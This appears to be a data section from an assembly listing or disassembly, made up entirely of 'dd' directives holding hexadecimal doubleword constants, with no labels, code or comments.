dd 0F400A9E5h, 0DA156275h, 0BE61B8h, 6FBA1A6h, 9AF12314h
dd 0C81A2009h, 0CD3CA1E0h, 404BBC09h, 6DC09888h, 2865CE84h
dd 77B8CA30h, 672A18EFh, 405BF8B1h, 10005E5Fh, 36E311CFh
dd 462A090Ch, 8C800FF5h, 3EF3E982h, 0B84250B2h, 0F5DE0A06h
dd 0C92EA05Ch, 3C9B8A0h, 18B84A0h, 7C532A30h, 86527862h
dd 85654B69h, 0A47402h, 50D766DDh, 0B79A39BFh, 0F7C33E00h
dd 0EE15340Dh, 7B540063h, 336EC465h, 1B0051D7h, 1D032F11h
dd 58D953E6h, 7F03F9E7h, 0DA18E454h, 0A0EA78C3h, 9A986CE0h
dd 6BC9D500h, 6D7AFE86h, 9F5600C4h, 1D882612h, 1C002294h
dd 9151660Ah, 523069h, 847582EBh, 1F286192h, 22CE871Ch
dd 58509553h, 0E1C040A0h, 0F2C87D52h, 0C79530A6h, 9269013Bh
dd 884FA4F4h, 0E6D9E03Dh, 55D0256Eh, 804E3852h, 0EEC0EF88h
dd 908A43BDh, 0FB884468h, 218098B6h, 2E31BAEBh, 3E481D02h
dd 73A1406Bh, 8936ED6h, 982DDF2Fh, 80CA35D8h, 5A0D851Ch
dd 10C0BD40h, 690A21ECh, 0C18A8ADh, 0B002BC7h, 727ECD6Dh
dd 29E7609h, 0B327AF34h, 856FA93h, 0D3F1380h, 0F3E8154h
dd 18631BC6h, 8E2915C4h, 0C3A38874h, 459060EDh, 2E507B31h
dd 0D0126F8Ch, 8C5FC5Dh, 0A8B0800h, 5AAC6D54h, 88704156h
dd 0DBFA4A69h, 31BD1100h, 15112F2Bh, 44910A6Ah, 11C4A7ECh
dd 0AE9819Fh, 0C0445AFDh, 0D000448Bh, 8E8B0AD1h, 34941E61h
dd 0B8904813h, 78205AFCh, 69A4A079h, 14E9735Fh, 3483336Ch
dd 8CF3ACh, 0D945EE66h, 69DE39E5h, 0CC500500h, 927FA5CEh
dd 0B2700906h, 0C5372B0h, 1F2E4A58h, 67B994A9h, 0F020B016h
dd 0F8830CCFh, 2CE0E986h, 0D01CE029h, 5929DE09h, 0A3B04038h
dd 9DE4BF25h, 8B1D7276h, 6F41E7A2h, 0D1A5F021h, 7DDD3891h
dd 0B9D60535h, 62347890h, 806158FDh, 3F102858h, 1E9522E8h
dd 8323C2AFh, 0A330C094h, 0F1BD2BB8h, 0C7DE5700h, 0F81C6B2Ah
dd 0D5FC37B2h, 0E3EDA059h, 4104E567h, 3D58A2A6h, 59CD70D1h
dd 9F812078h, 389B5AACh, 0B008A68Ch, 7CE09694h, 0A403A046h
dd 27427C61h, 0A3B9FEC8h, 5DAEB004h, 0E0C0D754h, 15E71E1h
dd 9005AB3Ah, 0D7C909F2h, 1BE478C8h, 6F07B098h, 33FB9203h
dd 0A95CFA37h, 8781033Dh, 8E42B7BFh, 0F43C86A0h, 334CD30Bh
dd 0DF700206h, 0BFC4425h, 0BCE1B711h, 0D0D298C4h, 0A688D4CBh
dd 6664E2CFh, 4059E5h, 63ED92EBh, 0FF00B39Eh, 328D3BF3h
dd 9229F40Ah, 11B90674h, 80C6D54Fh, 0BE220916h, 3C83C0C5h
dd 0FAC42449h, 63CF4008h, 3C2E1356h, 4496884h, 3640DC78h
dd 4AD6B81Bh, 469A3Ah, 0EF053134h, 1CD3CFE2h, 0E59E3AB2h
dd 65CD3018h, 0B81F484Bh, 40C4C14h, 0B11C45D5h, 9CD44301h
dd 2549E108h, 0BC3439ECh, 180B8BEh, 0DC32164Ch, 74B8C540h
dd 3C99EFE0h, 0C618E8D1h, 4C123C73h, 0F491FA07h, 0C1CC6EC5h
dd 7FEA007Ch, 8E061AE8h, 0EC1E7423h, 0F8C13B42h, 0F4872B10h
dd 7E07D02Dh, 601D115Eh, 2F36E95Ah, 0BD5C30Fh, 0C9780287h
dd 661048BAh, 7954B183h, 940019EDh, 2117C31h, 5148DC6Ah
dd 80D88A05h, 875D046h, 952E6446h, 0A0DC70h, 14AAD546h
dd 0B126559Fh, 960E9203h, 0BDF5A85Ch, 0E04AA840h, 0D1A59A05h
dd 523C7438h, 0AF49C180h, 0C5F8C96Ch, 81282D3Bh, 0F91CB144h
dd 0F040F78Eh, 4C5C4FABh, 47E1846Dh, 511B00CCh, 0ECB440E6h
dd 17807899h, 0D3C2D278h, 42FA07B0h, 43E46AFCh, 8892471Bh
dd 59097850h, 0C6C9C520h, 5E54BEACh, 47009946h, 130973C4h
dd 584EAC6Ch, 36B7A041h, 9C31A106h, 0C868B1F5h, 0E48CCCD6h
dd 0E02F35FEh, 0C7B46904h, 92C49838h, 3AB4BD52h, 17532F94h
dd 8FA391FCh, 1B674DEh, 2E2448EBh, 0B822F527h, 0EFFD9C00h
dd 8D3D97FCh, 884368BEh, 0A440A024h, 0CA0100AFh, 7B7FD686h
dd 8F0E1B0Ch, 61E7B27Eh, 80778E4Ch, 9D09D870h, 0F81FAC01h
dd 0BC6068D6h, 1008CBFh, 42E20C79h, 13F726A1h, 2263AC5Fh
dd 24C4FBB0h, 991C2C70h, 6841CE76h, 0A13C3B6Fh, 0B049B444h
dd 0BB846B51h, 825EC2C1h, 0CAA9FE08h, 27084024h, 8E631673h
dd 0C194DE6Ch, 1BADA38Ch, 0C3C0A2DDh, 1E0094Eh, 18D13610h
dd 0A771DCA1h, 8AE69318h, 6F6B8607h, 4C604FACh, 953C97Eh
dd 1EB21167h, 1873E062h, 2E258h, 145C6D2Bh, 0EA2254F9h
dd 42003158h, 30EFE228h, 7E7ECABEh, 186E2E09h, 0E5E08199h
dd 3422C254h, 0DC607A26h, 14777F00h, 322E27F7h, 0B09AF684h
dd 0FCAA4418h, 1F047F07h, 0ED4046F1h, 2C84B32Ch, 8D806DCh
dd 0AC2661ECh, 19B4674h, 4E2E6C0Bh, 0D082B634h, 120554E4h
dd 957974F9h, 513CDC19h, 80022A5Ah, 48D3FAA0h, 5CDEE068h
dd 0E7840C27h, 541C8806h, 81955A7Eh, 528DB1D0h, 0AC29F9E9h
dd 8A4CEF00h, 0A4F7472Ah, 660709ECh, 106E2D1h, 168D4B6h
dd 52A9849Ch, 93AF4622h, 54011648h, 0A620562Fh, 9FACD8A4h
dd 0B3694917h, 46F01CD8h, 845E30F2h, 3D3FF404h, 785DEC00h
dd 0ACA04B1Ah, 662F9C9Fh, 618007Ch, 15B1A908h, 0D0A2F4E1h
dd 0FED0A300h, 19E017CCh, 0C4D9D169h, 0DA513D98h, 70D2C581h
dd 6806F572h, 8CE6BC80h, 0BF6B5901h, 845651D5h, 0A85DE88Ah
dd 3AB40354h, 190C9716h, 0E8D86540h, 0BE3218BCh, 0CF9018ABh
dd 0E454D8E3h, 214CA29Dh, 4B50783Ah, 231C2F48h, 9B003BEAh
dd 1D47E4B8h, 6E62F4AEh, 0F30FCEF8h, 0ED7658F0h, 0F45EE409h
dd 8C4BBh, 0DABA66EAh, 6E1D0B0Ch, 16750773h, 65B2AD05h
dd 0E0A6BD06h, 8E988AE0h
dd 71314000h, 56D2F639h, 525C1C05h, 0FC02C476h, 805CBC6Ch
dd 299710B9h, 7D27007Ah, 0B7DF7CE0h, 0D2079566h, 0CF56C507h
dd 48FCA444h, 23402E96h, 97D300B9h, 8B553C72h, 4EAEEE00h
dd 0E5061FC1h, 0B84C82AFh, 0A4C4F8A5h, 0FFB9C560h, 2608BE02h
dd 5206E005h, 3A540980h, 908033DAh, 9B84A057h, 0C3E49001h
dd 9EFA5E2Ah, 0B1E18020h, 1CF980A0h, 460FF854h, 1A1E6B76h
dd 4380754Ah, 50105153h, 0E0030245h, 0B3845E2Eh, 86CE3068h
dd 66463490h, 0FC0AE201h, 0CA80D5Ah, 0EA9F88E5h, 52330A00h
dd 0DCC1601Eh, 0A5F728C8h, 0F0920944h, 840163F2h, 87492852h
dd 26785939h, 2650187Ch, 0BE242B22h, 41040618h, 46FCD860h
dd 0E87890BBh, 5A19096Ch, 3460C920h, 321822B4h, 7868EB94h
dd 18BD69E5h, 6900ACD1h, 0C091DD98h, 1B9F071Eh, 204C6C6Eh
dd 0A4A865CEh, 613CA295h, 0AB34E01Ah, 44349E55h, 8004A85Fh
dd 0BEBABDB6h, 6434008Dh, 2C29015Ch, 0D10858A3h, 89EF22DEh
dd 78C6D3A0h, 90F508C9h, 3F79D760h, 0AA890216h, 9C455FE9h
dd 0C267B8E4h, 7CDA91ABh, 0AAF91B08h, 562D0412h, 0E584B03Ch
dd 98D2CE2Ch, 4084CDCBh, 0B02AF551h, 0FE6C5802h, 5B355F1Dh
dd 2668A6B0h, 0E0CB5AD0h, 0B00D2382h, 0DA06C3Ch, 2603F475h
dd 0B3AD06Ch, 76F8B139h, 2CAE50D4h, 0AF905572h, 0AD11FC97h
dd 8A251780h, 1B094048h, 467B332Ah, 22060048h, 42701256h
dd 2300E692h, 3981A51Ch, 14F54BDh, 0C8806B7Fh, 6B305662h
dd 6FD2F401h, 9050E38Eh, 2C194453h, 0D5C477h, 76077CB8h
dd 6217455Bh, 54F48D6Ch, 147504BAh, 0B2D3A19Bh, 50630060h
dd 61E464BCh, 59FB1C42h, 2225F958h, 0F8B10449h, 4896D6DEh
dd 7D5C5640h, 0ACCD00A6h, 0D5D093F7h, 97647F09h, 0D0B9CB7Ah
dd 0ACF4D10Ch, 0FB719A69h, 3E964100h, 5963B5FDh, 53290E7Dh
dd 49723910h, 45AF4B4h, 30B09100h, 0D73D6ED4h, 849800A0h
dd 829381CEh, 68B0CC1Eh, 31919944h, 0FC39A74Ah, 95872B2h
dd 79AF5792h, 6CE10828h, 48A00836h, 0DF2298E9h, 6978B912h
dd 52CEE841h, 0A46CA4D2h, 54B8DC4Dh, 0CD3DF702h, 6328AE59h
dd 0B920A8B0h, 460D2A3h, 0B1384Ch, 6A511EB0h, 0E83095B6h
dd 0AA00E92Ah, 0A96614CAh, 704775D4h, 0A8494C7Dh, 0A4824977h
dd 600ED3B8h, 0A0A4DC64h, 0DD5FF2BBh, 0AF492292h, 818C890h
dd 55A8CCC5h, 49B27A68h, 6F0794F8h, 83821330h, 0B008C01Ah
dd 91FA05h, 0C9DD0410h, 0D9005884h, 0B530BF50h, 1B79654Ah
dd 9863A99Eh, 0CFB8C2A4h, 0FE266020h, 84152D52h, 333A60E1h
dd 0ACC41620h, 18626CF7h, 0DE19A11Ch, 0CD2E5008h, 5B3EFC88h
dd 0C09CD492h, 0B0579AA4h, 23C8208h, 0CF5BACC0h, 78152D0Ch
dd 1B80A091h, 0BFA7AFEBh, 0C7109295h, 60B84488h, 189595Ah
dd 11B77BD7h, 43B9C107h, 72E2D4C8h, 740220DEh, 0E69CC912h
dd 98159D3Ch, 5980B291h, 8041642h, 0E20CA102h, 1128F4h
dd 61D3A2F7h, 0DCA05CF2h, 40176B9h, 92AAEA83h, 29BE0D48h
dd 0C64F9Fh, 4D7928A8h, 381EA0E0h, 3C6422DFh, 47EE6387h
dd 0A3A5AC70h, 7847430h, 0ADB518CAh, 0A18C8159h, 86EDE052h
dd 0F0C1431Dh, 8D083B18h, 106E064Ah, 30F952C2h, 0DB00B4E8h
dd 5BC5ABD5h, 0F02EC85Ah, 110C0705h, 47CACBD9h, 9095E0F9h
dd 10C1CD0Bh, 861CE031h, 3C84ACCh, 498563ABh, 900794A8h
dd 64EBB7FCh, 0C19B1B02h, 0DDEB508Ch, 6F52AC42h, 3D472F9h
dd 0DCBD552Dh, 66B0994Fh, 5A03B846h, 26E4E728h, 0CA90A131h
dd 171E2C4h, 4D0E295Dh, 81E64164h, 21699140h, 74F08F46h
dd 0F8BC6Dh, 6BF79202h, 4F4CAA23h, 0E7831BEEh, 7A019AE8h
dd 26B801A0h, 67BC803h, 934CF4D2h, 4D039177h, 0D5A6AE8Fh
dd 0E54AD8DCh, 840B0126h, 92A2457Ah, 80902B53h, 1E134C02h
dd 4906F704h, 7C908DD7h, 3139CD55h, 4B44868Bh, 880D58Ch
dd 0CCFC917Ch, 1E3F94A4h, 902FCE82h, 18BB3C4h, 0DC0A4CA8h
dd 0F707082Eh, 6F0C11B0h, 656AF100h, 4A56F7D8h, 6D060A72h
dd 18CC756Eh, 63771048h, 6F59028Ch, 49F59BDBh, 0D96E5C00h
dd 405560ECh, 52282BB0h, 511804ACh, 4D102997h, 5807182Ah
dd 0FF0B2124h, 0B3049600h, 0A2AC71F6h, 1F08CC6Eh, 65006421h
dd 804B4D96h, 6ACCF955h, 6F5915h, 0E6AF5A6Bh, 0A9332F8Ch
dd 0B4081Eh, 6B046921h, 0A4B9F2C3h, 8D062000h, 1A8A3B31h
dd 3021F627h, 0C9A1A9DCh, 0B70AABE8h, 5C29CF74h, 5B063C1Dh
dd 3115402h, 0F2E50872h, 2CA8F5DCh, 0F74ECD5h, 12214C67h
dd 16EDE500h, 48D20130h, 0FC3A925h, 6ECA1019h, 26C00CBh
dd 35B9D9E1h, 3B050E24h, 0ECACC938h, 4A23382Eh, 0EA372400h
dd 761BC61Dh, 309CA834h, 29506FA1h, 4FC8358Ah, 1955A586h
dd 78C0AD07h, 54C53D72h, 0E5033C20h, 0DDC29FDh, 0FB174074h
dd 0A40038E5h, 0EF4AC4AFh, 28D7B6BAh, 46F0B97Ah, 96FE0704h
dd 7048B303h, 960A5865h, 4CAD30DCh, 89E24C33h, 66E0D21Ah
dd 0C1AC60BDh, 0CD55D90h, 4E5F3103h, 306F295Eh, 0EA21C208h
dd 0B200D555h, 0AC04C01Fh, 600FB5E2h, 0B835943h, 0FA0045C2h
dd 97CB4457h, 2F8B75h, 0DE7BEE10h, 0EDC836A5h, 0B6B8B300h
dd 0EC69311Fh, 51321822h, 0B67B114h, 0F518192Ch, 0A85FF000h
dd 0D84449h, 24DD0237h, 0CA78FCC7h, 131DA402h, 4986A6BFh
dd 60268E28h, 0E04BB9E0h, 894AEF00h, 1D2A1AA8h, 7C2E35A6h
dd 23A83AA9h, 0E48D031Dh, 0DD80A983h, 0BF003331h, 2130E280h
dd 358668h, 0BC9754D0h, 40235C20h, 9AB0E00h, 0F9FA8F93h
dd 9F511834h, 95BA5017h, 0E0BEAF28h, 32FB44h, 0A39749D0h
dd 0C67B1AAh, 27D3C918h, 28CAD9h, 6AD679C0h, 356DED05h
dd 62A7A200h, 25BA332Fh, 0E851E7BDh, 0B2F01232h, 5CCA007Fh
dd 0D44F0F69h, 6D008266h, 5DFDECDBh, 542E98F7h, 38BA88E4h
dd 0C394338Ah, 6B30DC12h, 440F4BA9h, 0F2E4A1C0h, 94CEC27h
dd 71DA85Bh, 227FC000h, 4400F753h, 4B19FC87h, 0C4538h
dd 93658440h, 0EC80507Fh, 3931DC01h, 3FB6C501h, 58372081h
dd 80BE6974h, 82D0F911h, 0F7CFB847h, 1B636F4h, 0AA4A249Bh
dd 80836662h, 0E6980229h, 0DFF8A6h, 5328EB48h, 0BD3EFED6h
dd 26044500h, 0D441E647h, 880D60E7h, 48F82C3Fh, 850C9076h
dd 9933B67h, 0CC21C018h, 7B3648F1h, 0F95C5219h, 0F0D061C1h
dd 113B6023h, 0CD1CD41Fh, 0A5C8C016h, 53095D19h, 0DC7F2180h
dd 59327B1Ch, 635ABF00h, 0F36D3C6Fh, 0C54778Dh, 8B868F4Eh
dd 0AB3EE0C8h, 0A5E180F0h, 45F443B8h, 0FE5300C3h, 0CB7CCAAh
dd 902E742h, 658F8BE6h, 0A06F0F5Ch, 0C6D4FAE0h, 8331BC0h
dd 0B409C1h, 0FADB8021h, 9D5C5D22h, 2E080A8h, 6316E9C0h
dd 3D30C0h, 80B7E1A0h, 25D77C69h, 0F209DF03h, 0BE074B29h
dd 87F40339h, 6903521Ah, 0D93FA2C0h, 0C4A88AEAh, 4E009E64h
dd 287C02F8h, 0CC7B0B44h, 0C5219508h, 0F54E9602h, 98814314h
dd 6061E0h, 80B391D5h, 8A0EFB28h, 0F1E3ED01h, 548E69Ch
dd 58842981h, 80221A8Bh, 7CC2A481h, 0C0390A48h, 0FEF35F21h
dd 447CC3A5h, 194B0431h, 0F1BC01E0h, 20999C00h, 3DB6715h
dd 8CA32700h, 0D0928381h, 290A6AE0h, 0E8023B51h, 3A60C38Bh
dd 18DB2041h, 91483BF9h, 1A118D23h, 488ED300h, 23919910h
dd 0EFC044A0h, 38BCCF3h, 4AEBE900h, 0E0AF5EC7h, 1BDF0E09h
dd 8364AD7Ah, 548C83FFh
dd 4EA4D906h, 0C14287h, 36DA0AE2h, 5BC2A69Fh, 1B9FE58h
dd 2F7571D3h, 0E9C0E3ECh, 0BF68008Ch, 0F7CAF358h, 603B5EA1h
dd 0C2858586h, 0E0220AD9h, 4E9C30DFh, 6C02FA11h, 0C7809688h
dd 8EA64E94h, 0F19E06EDh, 0F10BE0D9h, 7DE21F13h, 0D0018B8h
dd 7B48E834h, 21C306E0h, 0F97FF0CDh, 56F019B3h, 0D1860A17h
dd 11D4DD97h, 0DF8F0041h, 34EAAE1h, 2991E8E0h, 7154CFD5h
dd 411892h, 0AFABC0A2h, 4B6BA36Eh, 0E2700C80h, 0D4050045h
dd 0B3582182h, 9F0E597Eh, 414E13EFh, 0ECFD678Ch, 0C0439820h
dd 0AFEE2599h, 20E2D3A3h, 83891801h, 0E791AB4Ah, 1FF20C22h
dd 125DC630h, 8244ADCh, 0F6C1DA2Ch, 0F5D99248h, 0CE881718h
dd 0C548008Fh, 7A94B10Ch, 0D91D785Ch, 0A74003A9h, 0BE5DFEC0h
dd 310462C3h, 9C90CB01h, 530058A4h, 0EA5F950Bh, 2A71D717h
dd 3B8C486Bh, 0CF09FD4Fh, 1E00CD3Ch, 0D705F398h, 64303D1Dh
dd 6A02E382h, 8A40610Eh, 0FA08D118h, 0C4C8C6D5h, 0D99F41B7h
dd 446156FAh, 0FCAF9E3h, 51DE01C0h, 244C4C97h, 3BF28Bh
dd 779FE766h, 0AE396C7h, 723FADEEh, 800832A4h, 0FAD33088h
dd 0F8C6DB11h, 8180B588h, 5E5AFADAh, 91E11A33h, 0BC041841h
dd 48FB60D5h, 52DDFC9Fh, 0C9C0DC60h, 0D97048F0h, 0B5ABE100h
dd 0F7A45293h, 25605F3h, 9E0CDDC5h, 6BD3C434h, 2B1F088h
dd 0BEFD78F4h, 40484623h, 271FDDDFh, 0E8E49B5Bh, 95C287E0h
dd 0A34684BBh, 0F64E9001h, 0D298C02h, 88CB20EEh, 2E06354Eh
dd 94667408h, 7E170519h, 0C0E93A72h, 1B79DA6Ch, 0AFEC5700h
dd 0D86E344Ah, 7C8F2CC0h, 3F4B8648h, 4E18A956h, 69C9B189h
dd 5151C282h, 0FCC0FEB4h, 3509BCDEh, 80AEC438h, 7385655Ch
dd 0E1B078A7h, 2C08E831h, 0F0394438h, 8B2B4D7Ah, 0CD01FC96h
dd 0A8C6D1FAh, 8388BD18h, 82FA01D4h, 710F4993h, 7B64F0B6h
dd 0CDBCE208h, 98019D09h, 582CA98Bh, 6B18EA0Eh, 4ADE8111h
dd 0F8440523h, 5088FCCEh, 0D70079C7h, 130E311Bh, 50DA1A8Dh
dd 8F1A94BCh, 688479F4h, 0FACE6095h, 0B0C623D2h, 8200B311h
dd 53FBFAD5h, 0EC0CAECBh, 793A0B48h, 0B8787DBFh, 55420420h
dd 0CC495810h, 38266DF8h, 4676FC13h, 99190E93h, 0C15A608Ch
dd 0D6B96BF3h, 49100C91h, 50EDE081h, 0D1801CACh, 62A00E01h
dd 81CDBF0Fh, 0AB2C840h, 8459C065h, 75D54C42h, 4DFCCC07h
dd 0A3EBBD01h, 49BBD8h, 19B02261h, 0C332D2CBh, 191C406h
dd 2969DDh, 7E77F835h, 6359C71Fh, 89455E07h, 3518501h
dd 65136DC5h, 4438B7E7h, 0B349C02h, 8C58300Eh, 8505FD51h
dd 0D8885D01h, 5CD70036h, 0D6747CF6h, 2207D1CBh, 3A02E1FFh
dd 4C1E3920h, 4ECC0067h, 0F80474B9h, 0ECA0F784h, 0FA001770h
dd 0A893240h, 4DB0F9h, 14ECB64Ah, 97E3071Fh, 3C2AB16h
dd 0B502E803h, 2E05A0F2h, 667326E6h, 899410DCh, 265811E0h
dd 0FFD030h, 0C2B3D4A8h, 0ED0AFE51h, 0BA304400h, 45B878Ah
dd 0FCD09F5h, 640021EBh, 0F38EB034h, 0D94C2230h, 0A0536E8Bh
dd 31336A4h, 69BE6C17h, 8EB8CEAEh, 29C04822h, 8248D38h
dd 8CC60006h, 78E8CD37h, 0CE030F15h, 8E978156h, 8659A766h
dd 72B16A82h, 8241C023h, 4DEACF45h, 7AE56106h, 14C92DE0h
dd 0CABBA4F7h, 43970E00h, 5CC083F0h, 648DDA16h, 0DBE16A00h
dd 130290h, 66D15947h, 5871FEA0h, 9539F200h, 458F87D9h
dd 0E0973E7Bh, 0D5047A29h, 1FF80D0h, 61ED3CC9h, 9D048F77h
dd 0CB818319h, 0A788C643h, 0E387F0h, 0DE29BF10h, 0FF840793h
dd 38330930h, 0F7F6386h, 0D3E1F30Ah, 0E8553883h, 0E9C0A3E2h
dd 2A380124h, 803F0064h, 4C81FBDAh, 1917EA0Dh, 9165E4F3h
dd 361FDCB2h, 89FB8400h, 228DC749h, 0D48F1AD5h, 67F5047h
dd 317E2Ch, 0BBF9A3A4h, 9CC110E7h, 590B93E4h, 8C18E43Ch
dd 726FA8DDh, 8C8F18F7h, 3F20C00Eh, 0EF1EC07Ch, 18F10398h
dd 8850D3C3h, 508AB342h, 2A3E6C8Fh, 74F2E3h, 5D32FA93h
dd 2E50D31Ah, 0EAE1EC00h, 710EDD69h, 59BD0339h, 82223AFFh
dd 0D41698C9h, 8B00FD08h, 75C658E0h, 7ACD9325h, 54400A07h
dd 0BAC4EE1Eh, 1D9D43BBh, 9326C314h, 0D818ED37h, 6FB003FBh
dd 634F2887h, 75773164h, 34738FE0h, 0BA76222Ch, 0D606BD00h
dd 0E22A1EB1h, 0D0A30034h, 709E8D7Ch, 0FE003009h, 845FC712h
dd 30F05728h, 462C394Bh, 6A091C37h, 8F55E085h, 18309EC0h
dd 15F9DD77h, 202F7F3Dh, 10E67DE1h, 5C1AEC41h, 0DA0056F7h
dd 0A62D80F6h, 0D20F059Dh, 8047F303h, 2F8D812Ah, 30340117h
dd 0BA4F5F7Bh, 2039A320h, 670F81B0h, 14108258h, 1077548h
dd 6E3D9135h, 152625C0h, 0E6030036h, 0D14602DAh, 0FF007152h
dd 3FF205EDh, 0ABF6C9B7h, 37081834h, 0E3E9C086h, 0B4803A56h
dd 83BA03Eh, 71E2B980h, 27FB8361h, 0FFB69C09h, 86E83D7Bh
dd 1007481Eh, 140E0812h, 0BDE45000h, 12D564B3h, 3D8442h
dd 0AE1F1E64h, 91B4436h, 0B22916B7h, 7B8522ADh, 0AB214324h
dd 10551217h, 0F7887A6Eh, 19C488B3h, 9227E48Bh, 5B02EE80h
dd 0DB1621AFh, 0B1CD01F3h, 11868E11h, 0DE11A88Fh, 0B21911D4h
dd 0DF0E4D00h, 7D29E80Fh, 0A7064033h, 0E69252h, 0C90FBFB8h
dd 0E5685862h, 7C947001h, 5CAD75CFh, 0F8DB0AC9h, 0FEE348Fh
dd 2911502Bh, 0D96094CEh, 5C6E6DA8h, 0C401AF75h, 0C952407h
dd 49CCB850h, 0B842E8DEh, 0F498E0h, 0DB551BB6h, 763B9492h
dd 14F2BE00h, 0E72166C8h, 0FD7B29h, 68285C8Bh, 0E977F61Bh
dd 876DB307h, 0F3E08521h, 1C1434h, 352D9ED2h, 1E063364h
dd 0EEA0D005h, 65C0C995h, 0B15911h, 0B566801Ah, 62702C8Fh
dd 0D05B1901h, 0A872FB8Eh, 66AE80EAh, 0FA8F0276h, 6DAE0025h
dd 0F2CA451Bh, 0BA0EA4E3h, 8023F4F6h, 61C2899Fh, 0BD26000Bh
dd 0F5AD76A6h, 9E003C2Ah, 0D65A10B1h, 38FEE5Eh, 0C06AE2EDh
dd 0B807FCBDh, 9C720552h, 0CDCC93h, 0E5C1F46h, 0A22C14FEh
dd 0B8915D00h, 0F25EBB36h, 97F40178h, 7D0A2963h, 12CD20C8h
dd 796393Ch, 6288C58Ch, 54800FB4h, 1B383A0h, 1FFD4F6Ch
dd 70596D2Fh, 0A8EED7E5h, 7DA6F400h, 19AEB066h, 46D60058h
dd 15CBB353h, 7000762Fh, 624A0AA5h, 4AA2A9Ah, 3F1BF12Bh
dd 0A1BDC0FEh, 7F00B69Fh, 48AE70B9h, 18D16443h, 58AFBF1Ah
dd 7205DF6Bh, 0CF067594h, 73449C00h, 0FD5B8BB6h, 14CA1080h
dd 896EFE19h, 0AB125E06h, 0B80C53h, 79B44763h, 0DDC3F544h
dd 8B81ACA0h, 9830E27Bh, 631F10D8h, 2D251EB0h, 3E39408Ch
dd 1C1DA92Ch, 499B1030h, 50FC5h, 98D2BF9Dh, 6141F5ACh
dd 4446B502h, 90A58F1Ch, 0FAB990h, 0FBB65471h, 0F851579Ch
dd 8C3A7B07h, 99B03F9Dh, 78691298h, 0FCD00077h, 6A307579h
dd 0B4F8D65Bh, 0E36C5801h, 5A7CEACh, 0D96DA080h, 9CD2DEF2h
dd 0C1682206h, 0F89866h, 5FB2B305h, 0BABC811Dh, 1AD46100h
dd 4D5B43EBh, 0D1D00757h, 2007373Ah, 0B9695264h, 0C9F13Fh
dd 572FA55Bh, 1D95A6h, 8B7FFE3Eh, 11E534CDh, 0A74EC500h
dd 5F0680D3h, 0E203240Ch, 88FB8004h, 0EC98545Dh, 913A48h
dd 121B1A1Fh, 1CFAFDFEh, 40D4D67Fh, 0E8288613h, 0F004979h
dd 0EDAB1BC8h, 9BA01h, 65E08ECFh, 0DD74BCF3h, 0F5A84C00h
dd 0B2145052h, 7E99005Ah, 3B3D34DCh, 0B40A40BEh, 0C24D0484h
dd 0B5643A0Ah, 0F033F506h, 268A0004h, 6FE3868Bh, 8490B275h
dd 2A65FB0Fh, 99D2314h
dd 0FE300090h, 0C60EB78Ch, 0EF00F7B0h, 9B638BE4h, 28A7DFA9h
dd 1F17287h, 327158DDh, 80F8A155h, 0D298D938h, 58BCBC2h
dd 0E6417A6Ch, 69CC0013h, 97D3F182h, 0DECAFE00h, 1CA2323Dh
dd 0B1580033h, 8B7E151Dh, 0C305C57Ch, 96D4CE78h, 98C90083h
dd 37749Ch, 3EF64F52h, 0D75A7CADh, 2483145Ch, 0E9070C9Ah
dd 0C7A63AB9h, 1A842F11h, 0D8008A7Eh, 0C5EF7778h, 269090B7h
dd 80B41C40h, 8EC4C241h, 6007EDCEh, 91026EEAh, 74B1EB50h
dd 2BD900E2h, 881466B0h, 6100BC13h, 7EC5D002h, 3D1ED22h
dd 3FF06731h, 0BDD878D2h, 4CEAAB72h, 76E9D06h, 0F88565h
dd 10054593h, 86F4A9ACh, 0A14F0D00h, 694DBB7Dh, 36676EAh
dd 383D119Bh, 1B880A56h, 0AE0407ACh, 5953E03h, 3CD9C0EAh
dd 201CC9Ch, 0B78D335Ch, 9043BF2Fh, 137CD0E9h, 96603EC5h
dd 0B679A203h, 0DCD8829Bh, 87006533h, 0D481F1FCh, 6B20E8h
dd 498001CAh, 2BED2C4Eh, 4A418A00h, 1A8DE504h, 0B01EF6F8h
dd 0B0E21D1Ch, 0F96E40CCh, 1CA7CBCAh, 2F3D207Dh, 5D6002E7h
dd 0A00ACEADh, 8481D0ACh, 0A04B00BDh, 0ABB28A43h, 2F3B6B67h
dd 5B540793h, 5830BE5Eh, 51CE21h, 95F4B0C7h, 0AD921DACh
dd 0C102ED00h, 4D4A854Ch, 98D5710Ch, 43A9027Dh, 7377EA8Dh
dd 3FC5A880h, 8E0F64EBh, 0E0F3F5B2h, 6DADDCE7h, 317BD7h
dd 9836DE18h, 7D606681h, 470F000h, 7A432065h, 2D73052h
dd 12277348h, 0E79E1600h, 743AC0BFh, 77A3008Bh, 30E5B69h
dd 3D00F6F4h, 0BC266744h, 214201h, 6809087Ah, 516007AAh
dd 0D1006FECh, 3A1DF830h, 131297Dh, 2DEC6369h, 0C4E9B789h
dd 1F3CBAC8h, 48088037h, 0BC406ECFh, 0EC6A4A0Eh, 9A007B29h
dd 232F64AEh, 4CDAD8CDh, 0F9005580h, 323AD9EAh, 560FD4F6h
dd 600E354Ah, 0E1D10477h, 26980086h, 0BD71CEFFh, 0BCB85B2Bh
dd 200F7A00h, 0FE437CF6h, 0DC4100DAh, 621BA13h, 1C009636h
dd 0E3771F63h, 7CAE05h, 5C628908h, 0C78C6EE8h, 0A348CA00h
dd 0C22EAD01h, 52BE00D8h, 679F5051h, 3C00BBBAh, 36CDFDDh
dd 6A1BA1h, 0D437CA0Ah, 92406F12h, 2013CF2h, 23B6C7C4h
dd 0E4CC4BABh, 0E9C0048h, 4E8CB4DEh, 0D60E9A7Dh, 605C2F72h
dd 87A24FADh, 71FC00D7h, 15484D1h, 0D4A3EAA3h, 0D8EEE589h
dd 40D3BF9Eh, 1B664301h, 6FF45464h, 0AEBE004Bh, 17E6E4Ch
dd 18004461h, 0D52520DBh, 0E09FCFh, 9C90438Eh, 0B7F8173Eh
dd 980E20B0h, 98FA329Bh, 0E39D20h, 0FE141E73h, 0B2FD1B8Fh
dd 0E77F2C00h, 9EFF5E2Ah, 70E050h, 0E036750Fh, 722A8A5h
dd 144448h, 0E7727F66h, 1B53034h, 81512743h, 0F1971226h
dd 0F020F0FCh, 0F43E6BFAh, 92C9032Bh, 88739D2Ch, 0B0D5A7h
dd 936FD9ECh, 41563B6h, 0DD670200h, 0FAA70301h, 946990D5h
dd 80930B88h, 63D21A80h, 1600B31Eh, 0F5D3FE5Dh, 238BB3Ah
dd 11B80172h, 0A44092FBh, 0AB004E04h, 0B246E6Ch, 3B0EC47Ah
dd 0EF80A765h, 209F56F0h, 612CC3CAh, 2CD6E6h, 0EB12F813h
